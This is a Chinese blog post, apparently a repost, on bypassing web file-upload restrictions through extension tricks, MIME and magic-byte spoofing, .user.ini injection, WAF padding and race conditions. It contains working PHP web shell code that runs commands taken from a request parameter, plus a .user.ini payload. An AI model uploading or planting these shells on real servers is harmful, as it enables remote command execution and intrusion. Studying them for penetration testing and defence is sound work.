1. 更改请求绕过
绕过方式:
有些 Web 应用会仅在前端进行文件类型验证,通常是基于文件的扩展名或 MIME 类型来检查文件。攻击者可以通过修改请求来绕过这些前端检查。
例子:
假设某 Web 应用仅根据文件扩展名来判断文件类型,并且不允许上传 .php 文件。如果攻击者将文件扩展名从 shell.php 改为 shell.php.jpg,可能会绕过简单的扩展名检查。
攻击步骤:
上传文件时,攻击者将文件名 shell.php 改为 shell.php.jpg。
Web 应用只检查扩展名并认为这是一个图片文件,因此允许上传。
如果该 Web 应用只基于 MIME 类型判断文件,攻击者也可以修改 HTTP 请求的 Content-Type 为 image/jpeg,绕过后端的 MIME 类型检查。
2. Magic检测绕过
绕过方式:
有些网站通过检查文件的 Magic Bytes(文件头)来判断文件的类型。例如,JPG 文件的头部是 FF D8 FF E0,而 PNG 文件的头部是 89 50 4E 47。攻击者可以通过在文件开头加入合法的 Magic Bytes 来绕过文件类型检查。
例子:
假设某网站仅根据文件的 Magic Bytes 检查图片文件的合法性,攻击者可以将 PHP Web Shell 文件(如 shell.php)前加上合法图片文件的 Magic Bytes,从而绕过检测。
攻击步骤:
创建一个 Web Shell 文件,命名为 shell.php。
在该文件的开头加入合法的图片文件 Magic Bytes,如:FF D8 FF E0 00 10 4A 46 49 46(JPG文件的Magic Bytes)。
上传该文件后,服务器将检测到文件的 Magic Bytes,认为它是一个合法的图片文件,上传成功。
上传文件内容示例:
// 图片的 Magic Bytes
FF D8 FF E0 00 10 4A 46 49 46
<?php
// PHP Web Shell
if(isset($_REQUEST['cmd'])){
echo"<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>
|
|
|
|
|
|
|
|
|
|
|
42 4D |
3. 后缀绕过
绕过方式:
一些 Web 应用仅依赖文件扩展名(如 .php、.jpg)来检查文件类型。攻击者可以尝试上传带有绕过后缀的文件,利用服务器的解析引擎绕过上传限制。
例子:
PHP后缀绕过:
在 PHP 环境下,有些服务器可能允许上传扩展名为 .php5、.phtml 等的文件。这些后缀仍然会被解析为 PHP 脚本,因此可以用于绕过检查。
攻击步骤:
将恶意 Web Shell 文件的扩展名从 .php 改为 .phtml 或 .php5,上传文件。
由于某些 PHP 解析器对 .phtml 或 .php5 后缀的文件进行处理,上传的文件会被执行,从而触发恶意代码。
php
// 将以下 PHP Shell 保存为 shell.php5
<?php
if (isset($_GET['cmd'])) {
echo"<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
?>
4. 系统命名绕过
绕过方式:
攻击者可以利用操作系统的命名特性(如 Windows 和 Linux 的路径名处理)来绕过文件类型验证。
例子:
Windows系统绕过:
在 Windows 上,上传文件 index.php.,文件会被重命名为 .,从而绕过后缀检查。
另一个常见的攻击是使用空格字符:index.php%20,它会被服务器重命名或解析为合法文件。
Linux系统绕过:
在 Linux 上,攻击者可以使用 ./index.php/. 或 index.php/. 作为文件名,利用路径名解析漏洞来绕过检查。
5. .user.ini 绕过
绕过方式:
.user.ini 文件是 PHP 的配置文件,攻击者可以通过上传包含 .user.ini 文件的恶意文件来修改 PHP 配置,执行 WebShell。
例子:
假设一个攻击者上传一个名为 shell.php 的文件,并将 .user.ini 文件内容设置为 auto_prepend_file=01.gif,这样 PHP 会尝试执行 01.gif 文件(如果该文件包含恶意代码)。
ini
// .user.ini
auto_prepend_file=01.gif
攻击者上传一个 01.gif 文件,虽然扩展名是 .gif,但因为 PHP 会加载并执行该文件中的代码,攻击者就能执行恶意代码。
6. WAF绕过
绕过方式:
某些 Web 应用防火墙(WAF)可能没有全面检查所有传入的请求,攻击者可以通过添加垃圾数据来绕过 WAF 检查。
例子:
攻击者可以通过向上传的文件添加大量垃圾数据、使用分隔符混淆、或者改变 HTTP 请求头中的 boundary 来绕过 WAF。
攻击步骤:
在上传的文件中加入大量无意义的字符,导致 WAF 检测机制失效。
修改 HTTP 请求中的 boundary 字段,迫使 WAF 无法正确解析文件内容。
7. 竞争上传绕过
绕过方式:
有些 Web 服务器可能使用先保存、后删除不合法文件的方式。如果攻击者能够快速重复上传文件,可能会在文件验证和删除之间的竞争条件下成功上传恶意文件。
例子:
攻击步骤:攻击者不断上传带有 Web Shell 的文件,文件保存成功后未被及时删除,最终在多次尝试后获得执行权限。
实现方法:通过快速重复上传,绕过上传后对文件进行的删除或验证过程。
我常用的绕过方式就是这些,欢迎大佬们来补充
原文始发于微信公众号(信安一把索):web漏洞挖掘方法 - 文件上传绕过篇
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论